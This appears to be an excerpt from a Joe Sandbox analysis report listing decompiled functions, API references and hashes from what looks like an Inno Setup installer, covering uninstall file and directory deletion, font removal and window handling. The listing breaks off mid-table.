                                                          • Opcode ID: b2ba742db5d81f986fb40ac37e429383c2d1683df280d7fd3a0eb1e508c6d42f
                                                          • Instruction ID: 19bdc7582aaa65dc05582aab2205611e8884212ec1b9ce2d622807a5c7ecd4f2
                                                          • Opcode Fuzzy Hash: b2ba742db5d81f986fb40ac37e429383c2d1683df280d7fd3a0eb1e508c6d42f
                                                          • Instruction Fuzzy Hash: 213154B1A00209ABDB14EFA5C841B9E7BF8EF08355F10457AF810E73D2D7789A44CB58
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 91%
                                                          			E00488F98(void* __eflags) {
                                                          				long _v8;
                                                          				void* __ebx;
                                                          				void* __edi;
                                                          				void* __esi;
                                                          				void* __ebp;
                                                          				intOrPtr _t9;
                                                          				intOrPtr _t14;
                                                          				intOrPtr _t17;
                                                          				intOrPtr _t19;
                                                          				struct HWND__* _t25;
                                                          				struct HWND__* _t29;
                                                          				intOrPtr _t33;
                                                          				void* _t35;
                                                          				void* _t42;
                                                          				void* _t43;
                                                          				intOrPtr _t45;
                                                          
                                                          				E00455814("Deleting Uninstall data files.", _t35, _t42, _t43);
                                                          				_push(0x488fd7);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t45;
                                                          				E00450194(0);
                                                          				_t9 =  *0x4ae334; // 0x0
                                                          				E00450220(_t9);
                                                          				 *[fs:eax] = 0;
                                                          				E0042E314(0x4ae334);
                                                          				_t14 =  *0x4ae32c; // 0x0
                                                          				E00407064(_t14);
                                                          				if( *0x4ae330 != 0) {
                                                          					_t33 =  *0x4ae330; // 0x0
                                                          					E00407064(_t33);
                                                          				}
                                                          				if( *0x4ae348 != 0) {
                                                          					_v8 = 0;
                                                          					_t25 =  *0x4ae348; // 0x0
                                                          					GetWindowThreadProcessId(_t25,  &_v8);
                                                          					_t35 = OpenProcess(0x1f0000, 0, _v8);
                                                          					_t29 =  *0x4ae348; // 0x0
                                                          					SendMessageA(_t29, 0x54d, 0, 0);
                                                          					WaitForSingleObject(_t35, 0xffffffff);
                                                          					CloseHandle(_t35);
                                                          					Sleep(0x1f4);
                                                          				}
                                                          				 *0x48cefc = 0;
                                                          				_t17 =  *0x4ae328; // 0x0
                                                          				E00453B24(_t17, 0xd, 0xfa);
                                                          				if( *0x48deec != 0) {
                                                          					E00455150(0, _t35, _t42, _t43, 0);
                                                          				}
                                                          				_t19 =  *0x48d628; // 0x21c2410
                                                          				return E00424458(_t19);
                                                          			}



















                                                          0x00488fa4
                                                          0x00488fac
                                                          0x00488fb1
                                                          0x00488fb4
                                                          0x00488fbe
                                                          0x00488fc3
                                                          0x00488fc8
                                                          0x00488fd2
                                                          0x00488fe6
                                                          0x00488feb
                                                          0x00488ff0
                                                          0x00488ffc
                                                          0x00488ffe
                                                          0x00489003
                                                          0x00489003
                                                          0x0048900f
                                                          0x00489013
                                                          0x0048901a
                                                          0x00489020
                                                          0x00489035
                                                          0x00489040
                                                          0x00489046
                                                          0x0048904e
                                                          0x00489054
                                                          0x0048905e
                                                          0x0048905e
                                                          0x00489065
                                                          0x00489079
                                                          0x0048907e
                                                          0x0048908a
                                                          0x0048908e
                                                          0x0048908e
                                                          0x00489093
                                                          0x004890a2

                                                          APIs
                                                            • Part of subcall function 00455814: GetLocalTime.KERNEL32(?,00000000,0045599B,?,?,0048DF10,00000000), ref: 00455844
                                                            • Part of subcall function 00450220: SetEndOfFile.KERNEL32(?,00000000,00466FB2), ref: 00450227
                                                            • Part of subcall function 00407064: 6CAA5F60.KERNEL32(00000000,0048D628,0048AE72,00000000,0048AEC7,?,?,00000005,?,00000000,00000000,00000000,Inno-Setup-RegSvr-Mutex,?,00000005,00000000), ref: 0040706F
                                                          • GetWindowThreadProcessId.USER32(00000000,?), ref: 00489020
                                                          • OpenProcess.KERNEL32(001F0000,00000000,?,00000000,?), ref: 00489030
                                                          • SendMessageA.USER32(00000000,0000054D,00000000,00000000), ref: 00489046
                                                          • WaitForSingleObject.KERNEL32(00000000,000000FF,00000000,0000054D,00000000,00000000,001F0000,00000000,?,00000000,?), ref: 0048904E
                                                          • CloseHandle.KERNEL32(00000000,00000000,000000FF,00000000,0000054D,00000000,00000000,001F0000,00000000,?,00000000,?), ref: 00489054
                                                          • Sleep.KERNEL32(000001F4,00000000,00000000,000000FF,00000000,0000054D,00000000,00000000,001F0000,00000000,?,00000000,?), ref: 0048905E
                                                          Strings
                                                          • Deleting Uninstall data files., xrefs: 00488F9F
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: Process$CloseFileHandleLocalMessageObjectOpenSendSingleSleepThreadTimeWaitWindow
                                                          • String ID: Deleting Uninstall data files.
                                                          • API String ID: 2216181474-2568741658
                                                          • Opcode ID: 4286c1e03cda3e5544ddb6a8588fdaee83b3d122faed67a6d8503bdde7830732
                                                          • Instruction ID: fe6cd48beafd3510c5a101c6df8a14dacd9afa68e7183d732bfdb7814d3b5de9
                                                          • Opcode Fuzzy Hash: 4286c1e03cda3e5544ddb6a8588fdaee83b3d122faed67a6d8503bdde7830732
                                                          • Instruction Fuzzy Hash: D0217431604600AAEB10F77ADC42F6E37A8DB06715F50087BFA14DB2E2D9796C40CB2D
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 73%
                                                          			E004543DC(void* __eax, void* __ecx, void* __edx) {
                                                          				char _v12;
                                                          				int _t9;
                                                          				void* _t18;
                                                          				void** _t25;
                                                          
                                                          				_push(__ecx);
                                                          				_t18 = __edx;
                                                          				_t24 = __eax;
                                                          				if( *0x48c0e0 == 1) {
                                                          					if(E0042DD88(0, "Software\\Microsoft\\Windows\\CurrentVersion\\Fonts", 0x80000002,  &_v12, 2, 0) == 0) {
                                                          						_push(E00403880(_t24));
                                                          						_push(_v12);
                                                          						L004058FC();
                                                          						RegCloseKey( *_t25);
                                                          					}
                                                          				} else {
                                                          					WriteProfileStringA("Fonts", E00403880(__eax), 0);
                                                          				}
                                                          				_t9 = RemoveFontResourceA(E00403880(_t18));
                                                          				if(_t9 != 0) {
                                                          					_t9 = SendNotifyMessageA(0xffff, 0x1d, 0, 0);
                                                          				}
                                                          				return _t9;
                                                          			}







                                                          0x004543de
                                                          0x004543df
                                                          0x004543e1
                                                          0x004543ea
                                                          0x0045441e
                                                          0x00454427
                                                          0x0045442c
                                                          0x0045442d
                                                          0x00454436
                                                          0x00454436
                                                          0x004543ec
                                                          0x004543fb
                                                          0x004543fb
                                                          0x00454443
                                                          0x0045444a
                                                          0x00454457
                                                          0x00454457
                                                          0x0045445f

                                                          APIs
                                                          • WriteProfileStringA.KERNEL32(Fonts,00000000,00000000), ref: 004543FB
                                                          • 6CAA6690.ADVAPI32(?,00000000,?,00000002,00000000,?,?,00000000,004581A9,00000000,004581BC,?,?,00000000,0045892D), ref: 0045442D
                                                          • RegCloseKey.ADVAPI32(00000000,?,00000000,?,00000002,00000000,?,?,00000000,004581A9,00000000,004581BC,?,?,00000000,0045892D), ref: 00454436
                                                          • RemoveFontResourceA.GDI32(00000000), ref: 00454443
                                                          • SendNotifyMessageA.USER32(0000FFFF,0000001D,00000000,00000000), ref: 00454457
                                                          Strings
                                                          • Fonts, xrefs: 004543F6
                                                          • Software\Microsoft\Windows\CurrentVersion\Fonts, xrefs: 0045440B
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: A6690CloseFontMessageNotifyProfileRemoveResourceSendStringWrite
                                                          • String ID: Fonts$Software\Microsoft\Windows\CurrentVersion\Fonts
                                                          • API String ID: 3163076523-48469607
                                                          • Opcode ID: c0b917f47be563e0118564eaa3e2fab5ee2b39259c35b57d6157f5e9a0f8f548
                                                          • Instruction ID: 3e2f8dfe88786a053fca54ca05dab6ffc48915f9bf3d619a2a0b34f93f057db8
                                                          • Opcode Fuzzy Hash: c0b917f47be563e0118564eaa3e2fab5ee2b39259c35b57d6157f5e9a0f8f548
                                                          • Instruction Fuzzy Hash: B2F06DB178070026E514B6A65C46F1B128C8B85B4AF10883FBA04EE1C3C57C9C89866D
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 66%
                                                          			E00451A10() {
                                                          				struct HINSTANCE__* _t1;
                                                          				struct HINSTANCE__* _t2;
                                                          				char _t3;
                                                          
                                                          				_push("Wow64DisableWow64FsRedirection");
                                                          				_t1 = GetModuleHandleA("kernel32.dll");
                                                          				_push(_t1);
                                                          				L00405AA4();
                                                          				 *0x48ded8 = _t1;
                                                          				_push("Wow64RevertWow64FsRedirection");
                                                          				_t2 = GetModuleHandleA("kernel32.dll");
                                                          				_push(_t2);
                                                          				L00405AA4();
                                                          				 *0x48dedc = _t2;
                                                          				if( *0x48ded8 == 0 ||  *0x48dedc == 0) {
                                                          					_t3 = 0;
                                                          				} else {
                                                          					_t3 = 1;
                                                          				}
                                                          				 *0x48dee0 = _t3;
                                                          				return _t3;
                                                          			}






                                                          0x00451a10
                                                          0x00451a1a
                                                          0x00451a1f
                                                          0x00451a20
                                                          0x00451a25
                                                          0x00451a2a
                                                          0x00451a34
                                                          0x00451a39
                                                          0x00451a3a
                                                          0x00451a3f
                                                          0x00451a4b
                                                          0x00451a56
                                                          0x00451a5a
                                                          0x00451a5a
                                                          0x00451a5a
                                                          0x00451a5c
                                                          0x00451a61

                                                          APIs
                                                          • GetModuleHandleA.KERNEL32(kernel32.dll,Wow64DisableWow64FsRedirection,0048B2CD), ref: 00451A1A
                                                          • 6CAA5550.KERNEL32(00000000,kernel32.dll,Wow64DisableWow64FsRedirection,0048B2CD), ref: 00451A20
                                                          • GetModuleHandleA.KERNEL32(kernel32.dll,Wow64RevertWow64FsRedirection,00000000,kernel32.dll,Wow64DisableWow64FsRedirection,0048B2CD), ref: 00451A34
                                                          • 6CAA5550.KERNEL32(00000000,kernel32.dll,Wow64RevertWow64FsRedirection,00000000,kernel32.dll,Wow64DisableWow64FsRedirection,0048B2CD), ref: 00451A3A
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: A5550HandleModule
                                                          • String ID: Wow64DisableWow64FsRedirection$Wow64RevertWow64FsRedirection$kernel32.dll
                                                          • API String ID: 3262523333-4169039593
                                                          • Opcode ID: f9c323d51dff7f64a1cfaf65feb9a1b26ba59bb30d9fb3a83d2bb632cb9b1757
                                                          • Instruction ID: 23f670f5ba8875799172e84e61646f846bc3cd8155d7181d682e266633066b19
                                                          • Opcode Fuzzy Hash: f9c323d51dff7f64a1cfaf65feb9a1b26ba59bb30d9fb3a83d2bb632cb9b1757
                                                          • Instruction Fuzzy Hash: 22E01A30A17B41ACCE02E7B5588676A2354972838AF11193FA806AD1F3CBFC0C48CF1D
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 84%
                                                          			E00456AD4(void* __eax, void* __ebx, intOrPtr __ecx, char __edx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4) {
                                                          				intOrPtr _v8;
                                                          				char _v9;
                                                          				char _v16;
                                                          				char _v20;
                                                          				char _v24;
                                                          				signed int _t43;
                                                          				intOrPtr _t50;
                                                          				void* _t64;
                                                          				void* _t70;
                                                          				void* _t75;
                                                          				intOrPtr _t87;
                                                          				signed int _t103;
                                                          				void* _t104;
                                                          				char _t106;
                                                          				void* _t109;
                                                          
                                                          				_push(__ebx);
                                                          				_push(__esi);
                                                          				_push(__edi);
                                                          				_v24 = 0;
                                                          				_v8 = __ecx;
                                                          				_t106 = __edx;
                                                          				_t75 = __eax;
                                                          				_push(_t109);
                                                          				_push(0x456c56);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t109 + 0xffffffec;
                                                          				_t103 = E004515D4(__eax, __edx, __eflags);
                                                          				if(_t103 == 0xffffffff || (_t103 & 0x00000010) == 0) {
                                                          					_v9 = 1;
                                                          					goto L18;
                                                          				} else {
                                                          					_v20 = _t106;
                                                          					_v16 = 0xb;
                                                          					E00455A04("Deleting directory: %s", _t75, 0,  &_v20, _t103, _t106);
                                                          					if((_t103 & 0x00000001) == 0) {
                                                          						L9:
                                                          						_t43 = E004518A0(_t75, _t106, _t117);
                                                          						asm("sbb eax, eax");
                                                          						_v9 =  ~( ~_t43);
                                                          						if(_v9 != 0) {
                                                          							L18:
                                                          							_pop(_t87);
                                                          							 *[fs:eax] = _t87;
                                                          							_push(E00456C5D);
                                                          							return E00403548( &_v24);
                                                          						}
                                                          						_t104 = GetLastError();
                                                          						if(_v8 == 0) {
                                                          							__eflags = _a4;
                                                          							if(_a4 == 0) {
                                                          								L16:
                                                          								_v20 = _t104;
                                                          								_v16 = 0;
                                                          								E00455A04("Failed to delete directory (%d).", _t75, 0,  &_v20, _t104, _t106);
                                                          								goto L18;
                                                          							}
                                                          							_t50 = E0045692C(_a4, _t75, _t106, _t104, _t106);
                                                          							__eflags = _t50;
                                                          							if(_t50 == 0) {
                                                          								goto L16;
                                                          							}
                                                          							__eflags =  *0x48c0e0 - 2;
                                                          							if( *0x48c0e0 != 2) {
                                                          								goto L16;
                                                          							}
                                                          							_v20 = _t104;
                                                          							_v16 = 0;
                                                          							E00455A04("Failed to delete directory (%d). Will delete on restart (if empty).", _t75, 0,  &_v20, _t104, _t106);
                                                          							E00456A04(_t75, _t75, _t106, _t104, _t106);
                                                          							goto L18;
                                                          						}
                                                          						_v20 = _t104;
                                                          						_v16 = 0;
                                                          						E00455A04("Failed to delete directory (%d). Will retry later.", _t75, 0,  &_v20, _t104, _t106);
                                                          						E00403658();
                                                          						E004036C4( &_v24, _t106);
                                                          						E0045463C(_v8, 0, _v24);
                                                          						goto L18;
                                                          					}
                                                          					_t115 = _t103 & 0x00000400;
                                                          					if((_t103 & 0x00000400) != 0) {
                                                          						L5:
                                                          						_t64 = E00451918(_t75, _t103 & 0xfffffffe, _t106, _t116);
                                                          						_t117 = _t64;
                                                          						if(_t64 == 0) {
                                                          							E00455814("Failed to strip read-only attribute.", _t75, _t103, _t106);
                                                          						} else {
                                                          							E00455814("Stripped read-only attribute.", _t75, _t103, _t106);
                                                          						}
                                                          						goto L9;
                                                          					}
                                                          					_t70 = E004529A4(_t75, _t75, _t106, _t103, _t106, _t115);
                                                          					_t116 = _t70;
                                                          					if(_t70 == 0) {
                                                          						E00455814("Not stripping read-only attribute because the directory does not appear to be empty.", _t75, _t103, _t106);
                                                          						goto L9;
                                                          					}
                                                          					goto L5;
                                                          				}
                                                          			}


















                                                          0x00456ada
                                                          0x00456adb
                                                          0x00456adc
                                                          0x00456adf
                                                          0x00456ae2
                                                          0x00456ae5
                                                          0x00456ae7
                                                          0x00456aeb
                                                          0x00456aec
                                                          0x00456af1
                                                          0x00456af4
                                                          0x00456b00
                                                          0x00456b05
                                                          0x00456c3c
                                                          0x00000000
                                                          0x00456b17
                                                          0x00456b17
                                                          0x00456b1a
                                                          0x00456b28
                                                          0x00456b33
                                                          0x00456b7e
                                                          0x00456b82
                                                          0x00456b89
                                                          0x00456b8d
                                                          0x00456b94
                                                          0x00456c40
                                                          0x00456c42
                                                          0x00456c45
                                                          0x00456c48
                                                          0x00456c55
                                                          0x00456c55
                                                          0x00456b9f
                                                          0x00456ba5
                                                          0x00456be6
                                                          0x00456bea
                                                          0x00456c24
                                                          0x00456c24
                                                          0x00456c27
                                                          0x00456c35
                                                          0x00000000
                                                          0x00456c35
                                                          0x00456bf1
                                                          0x00456bf6
                                                          0x00456bf8
                                                          0x00000000
                                                          0x00000000
                                                          0x00456bfa
                                                          0x00456c01
                                                          0x00000000
                                                          0x00000000
                                                          0x00456c03
                                                          0x00456c06
                                                          0x00456c14
                                                          0x00456c1d
                                                          0x00000000
                                                          0x00456c1d
                                                          0x00456ba7
                                                          0x00456baa
                                                          0x00456bb8
                                                          0x00456bca
                                                          0x00456bd4
                                                          0x00456bdf
                                                          0x00000000
                                                          0x00456bdf
                                                          0x00456b35
                                                          0x00456b3b
                                                          0x00456b4a
                                                          0x00456b53
                                                          0x00456b58
                                                          0x00456b5a
                                                          0x00456b6d
                                                          0x00456b5c
                                                          0x00456b61
                                                          0x00456b61
                                                          0x00000000
                                                          0x00456b5a
                                                          0x00456b41
                                                          0x00456b46
                                                          0x00456b48
                                                          0x00456b79
                                                          0x00000000
                                                          0x00456b79
                                                          0x00000000
                                                          0x00456b48

                                                          APIs
                                                          • GetLastError.KERNEL32(00000000,00456C56,?,00000000,?,00000000), ref: 00456B9A
                                                            • Part of subcall function 004529A4: FindClose.KERNEL32(?,00452A9A,?,?,?,?,?,00000000,00452A8F,?,00000000,00452AB3,?,00000000,?,00000000), ref: 00452A89
                                                            • Part of subcall function 00455814: GetLocalTime.KERNEL32(?,00000000,0045599B,?,?,0048DF10,00000000), ref: 00455844
                                                          Strings
                                                          • Not stripping read-only attribute because the directory does not appear to be empty., xrefs: 00456B74
                                                          • Stripped read-only attribute., xrefs: 00456B5C
                                                          • Failed to delete directory (%d)., xrefs: 00456C30
                                                          • Failed to strip read-only attribute., xrefs: 00456B68
                                                          • Failed to delete directory (%d). Will retry later., xrefs: 00456BB3
                                                          • Deleting directory: %s, xrefs: 00456B23
                                                          • Failed to delete directory (%d). Will delete on restart (if empty)., xrefs: 00456C0F
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: CloseErrorFindLastLocalTime
                                                          • String ID: Deleting directory: %s$Failed to delete directory (%d).$Failed to delete directory (%d). Will delete on restart (if empty).$Failed to delete directory (%d). Will retry later.$Failed to strip read-only attribute.$Not stripping read-only attribute because the directory does not appear to be empty.$Stripped read-only attribute.
                                                          • API String ID: 3419951142-1448842058
                                                          • Opcode ID: 29499b9cd6cb4e5d755ad539c71b2b00e2006f01482445e361d3dc7ec08ef4ac
                                                          • Instruction ID: 84c743a0410eb2297aafacd5c3ce6d0873ba6ffa1fe70632517708c0d038b5e0
                                                          • Opcode Fuzzy Hash: 29499b9cd6cb4e5d755ad539c71b2b00e2006f01482445e361d3dc7ec08ef4ac
                                                          • Instruction Fuzzy Hash: AF41C430B002589ACB15EBB988413AE76E59F45306F92856BAC41DB393CB7D8E0DC75A
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 78%
                                                          			E00423068(intOrPtr __eax, void* __ebx, void* __edi, void* __esi) {
                                                          				intOrPtr _v8;
                                                          				intOrPtr _v12;
                                                          				intOrPtr _v16;
                                                          				intOrPtr _v20;
                                                          				intOrPtr _v24;
                                                          				short _v26;
                                                          				struct HWND__* _v32;
                                                          				intOrPtr _t50;
                                                          				intOrPtr _t51;
                                                          				intOrPtr _t53;
                                                          				intOrPtr _t54;
                                                          				intOrPtr _t56;
                                                          				intOrPtr _t71;
                                                          				void* _t76;
                                                          				intOrPtr _t102;
                                                          				void* _t103;
                                                          				void* _t104;
                                                          				void* _t106;
                                                          				void* _t107;
                                                          				intOrPtr _t108;
                                                          
                                                          				_t104 = __esi;
                                                          				_t103 = __edi;
                                                          				_t106 = _t107;
                                                          				_t108 = _t107 + 0xffffffe4;
                                                          				_push(__ebx);
                                                          				_v8 = __eax;
                                                          				E004142F8();
                                                          				if( *((char*)(_v8 + 0x37)) != 0 ||  *((char*)(_v8 + 0x38)) == 0 || ( *(_v8 + 0x119) & 0x00000008) != 0 ||  *((char*)(_v8 + 0x116)) == 1) {
                                                          					E00408EA0(0x48d628, 0xf032, 1, _t103, _t104);
                                                          					E00403264();
                                                          				}
                                                          				if(GetCapture() != 0) {
                                                          					SendMessageA(GetCapture(), 0x1f, 0, 0);
                                                          				}
                                                          				ReleaseCapture();
                                                          				 *(_v8 + 0x119) =  *(_v8 + 0x119) | 0x00000008;
                                                          				_v32 = GetActiveWindow();
                                                          				_t50 =  *0x48c580; // 0x0
                                                          				_v20 = _t50;
                                                          				_t51 =  *0x48d62c; // 0x21c0660
                                                          				_v24 =  *((intOrPtr*)(_t51 + 0x4c));
                                                          				_t53 =  *0x48d62c; // 0x21c0660
                                                          				 *((intOrPtr*)(_t53 + 0x4c)) = _v8;
                                                          				_t54 =  *0x48d62c; // 0x21c0660
                                                          				_v26 =  *((intOrPtr*)(_t54 + 0x28));
                                                          				_t56 =  *0x48d62c; // 0x21c0660
                                                          				E004235AC(_t56, 0);
                                                          				_v16 = E0041F0BC(0, 0x48d628, _t103, _t104);
                                                          				_push(_t106);
                                                          				_push(0x423252);
                                                          				_push( *[fs:edx]);
                                                          				 *[fs:edx] = _t108;
                                                          				E0042301C(_v8);
                                                          				_push(_t106);
                                                          				_push(0x4231fb);
                                                          				_push( *[fs:edx]);
                                                          				 *[fs:edx] = _t108;
                                                          				SendMessageA(E004183F8(_v8), 0xb000, 0, 0);
                                                          				 *((intOrPtr*)(_v8 + 0x128)) = 0;
                                                          				do {
                                                          					E004246D4( *0x48d628, _t103, _t104);
                                                          					if( *((char*)( *0x48d628 + 0x7c)) == 0) {
                                                          						if( *((intOrPtr*)(_v8 + 0x128)) != 0) {
                                                          							E00422F6C(_v8, 0xf032);
                                                          						}
                                                          					} else {
                                                          						 *((intOrPtr*)(_v8 + 0x128)) = 2;
                                                          					}
                                                          					_t71 =  *((intOrPtr*)(_v8 + 0x128));
                                                          				} while (_t71 == 0);
                                                          				_v12 = _t71;
                                                          				SendMessageA(E004183F8(_v8), 0xb001, 0, 0);
                                                          				_t76 = E004183F8(_v8);
                                                          				if(_t76 != GetActiveWindow()) {
                                                          					_v32 = 0;
                                                          				}
                                                          				_pop(_t102);
                                                          				 *[fs:eax] = _t102;
                                                          				_push(0x423202);
                                                          				return E00423014();
                                                          			}























                                                          0x00423068
                                                          0x00423068
                                                          0x00423069
                                                          0x0042306b
                                                          0x0042306e
                                                          0x0042306f
                                                          0x00423077
                                                          0x00423083
                                                          0x004230b2
                                                          0x004230b7
                                                          0x004230b7
                                                          0x004230c3
                                                          0x004230d1
                                                          0x004230d1
                                                          0x004230d6
                                                          0x004230de
                                                          0x004230ea
                                                          0x004230ed
                                                          0x004230f2
                                                          0x004230f5
                                                          0x004230fd
                                                          0x00423100
                                                          0x00423108
                                                          0x0042310b
                                                          0x00423114
                                                          0x0042311a
                                                          0x0042311f
                                                          0x0042312b
                                                          0x00423130
                                                          0x00423131
                                                          0x00423136
                                                          0x00423139
                                                          0x0042313f
                                                          0x00423146
                                                          0x00423147
                                                          0x0042314c
                                                          0x0042314f
                                                          0x00423164
                                                          0x0042316e
                                                          0x00423174
                                                          0x00423176
                                                          0x00423181
                                                          0x0042319c
                                                          0x004231a1
                                                          0x004231a1
                                                          0x00423183
                                                          0x00423186
                                                          0x00423186
                                                          0x004231a9
                                                          0x004231af
                                                          0x004231b3
                                                          0x004231c8
                                                          0x004231d0
                                                          0x004231de
                                                          0x004231e2
                                                          0x004231e2
                                                          0x004231e7
                                                          0x004231ea
                                                          0x004231ed
                                                          0x004231fa

                                                          APIs
                                                          • GetCapture.USER32 ref: 004230BC
                                                          • GetCapture.USER32 ref: 004230CB
                                                          • SendMessageA.USER32(00000000,0000001F,00000000,00000000), ref: 004230D1
                                                          • ReleaseCapture.USER32(00000000,0000001F,00000000,00000000), ref: 004230D6
                                                          • GetActiveWindow.USER32 ref: 004230E5
                                                          • SendMessageA.USER32(00000000,0000B000,00000000,00000000), ref: 00423164
                                                          • SendMessageA.USER32(00000000,0000B001,00000000,00000000), ref: 004231C8
                                                          • GetActiveWindow.USER32 ref: 004231D7
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: CaptureMessageSend$ActiveWindow$Release
                                                          • String ID:
                                                          • API String ID: 862346643-0
                                                          • Opcode ID: 38ac66f14b542d8040d8ef116bc75a60cbba1e775dc8ecfc0c3ce9c84fc26233
                                                          • Instruction ID: e237d19a7d432f7758038de8af73b4f44e79736eb620fb1854ff2c64df8d1a0f
                                                          • Opcode Fuzzy Hash: 38ac66f14b542d8040d8ef116bc75a60cbba1e775dc8ecfc0c3ce9c84fc26233
                                                          • Instruction Fuzzy Hash: 59417C30B00218AFDB10EFA9D982B9D77F1EB44304F5540BAF510AB2A2DB7D9E40DB18
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 85%
                                                          			E00429698(struct HDC__* __eax, void* __ebp, void* __eflags) {
                                                          				struct tagTEXTMETRICA _v112;
                                                          				void* __ebx;
                                                          				void* __edi;
                                                          				void* __esi;
                                                          				void* _t14;
                                                          				signed int _t18;
                                                          				signed int _t20;
                                                          				struct HDC__* _t26;
                                                          				signed int _t27;
                                                          				signed int _t29;
                                                          				signed int _t30;
                                                          				void* _t31;
                                                          				void* _t35;
                                                          				struct HDC__* _t37;
                                                          				struct tagTEXTMETRICA* _t39;
                                                          
                                                          				_t39 =  &_v112;
                                                          				_t37 = __eax;
                                                          				_push(0);
                                                          				L00406034();
                                                          				_t26 = __eax;
                                                          				GetTextMetricsA(__eax, _t39);
                                                          				_t14 = SelectObject(_t26, E0041A400( *((intOrPtr*)(_t37 + 0x44)), _t26, _t31, _t35, _t37));
                                                          				GetTextMetricsA(_t26,  &(_v112.tmMaxCharWidth));
                                                          				SelectObject(_t26, _t14);
                                                          				_push(_t26);
                                                          				_push(0);
                                                          				L0040621C();
                                                          				if( *0x48d5c4 == 0) {
                                                          					_t27 = _t39->tmHeight;
                                                          					_t18 = _v112.tmHeight;
                                                          					if(_t27 > _t18) {
                                                          						_t27 = _t18;
                                                          					}
                                                          					_t20 = GetSystemMetrics(6) << 2;
                                                          					if(_t27 < 0) {
                                                          						_t27 = _t27 + 3;
                                                          					}
                                                          					_t29 = _t20 + (_t27 >> 2);
                                                          				} else {
                                                          					if( *((char*)(_t37 + 0xc5)) == 0) {
                                                          						_t30 = 6;
                                                          					} else {
                                                          						_t30 = 8;
                                                          					}
                                                          					_t29 = GetSystemMetrics(6) * _t30;
                                                          				}
                                                          				return E00414854(_t37, _v112 + _t29);
                                                          			}


















                                                          0x0042969b
                                                          0x0042969e
                                                          0x004296a0
                                                          0x004296a2
                                                          0x004296a7
                                                          0x004296ab
                                                          0x004296ba
                                                          0x004296c7
                                                          0x004296ce
                                                          0x004296d3
                                                          0x004296d4
                                                          0x004296d6
                                                          0x004296e2
                                                          0x00429706
                                                          0x00429709
                                                          0x0042970f
                                                          0x00429711
                                                          0x00429711
                                                          0x0042971a
                                                          0x0042971f
                                                          0x00429721
                                                          0x00429721
                                                          0x00429729
                                                          0x004296e4
                                                          0x004296eb
                                                          0x004296f4
                                                          0x004296ed
                                                          0x004296ed
                                                          0x004296ed
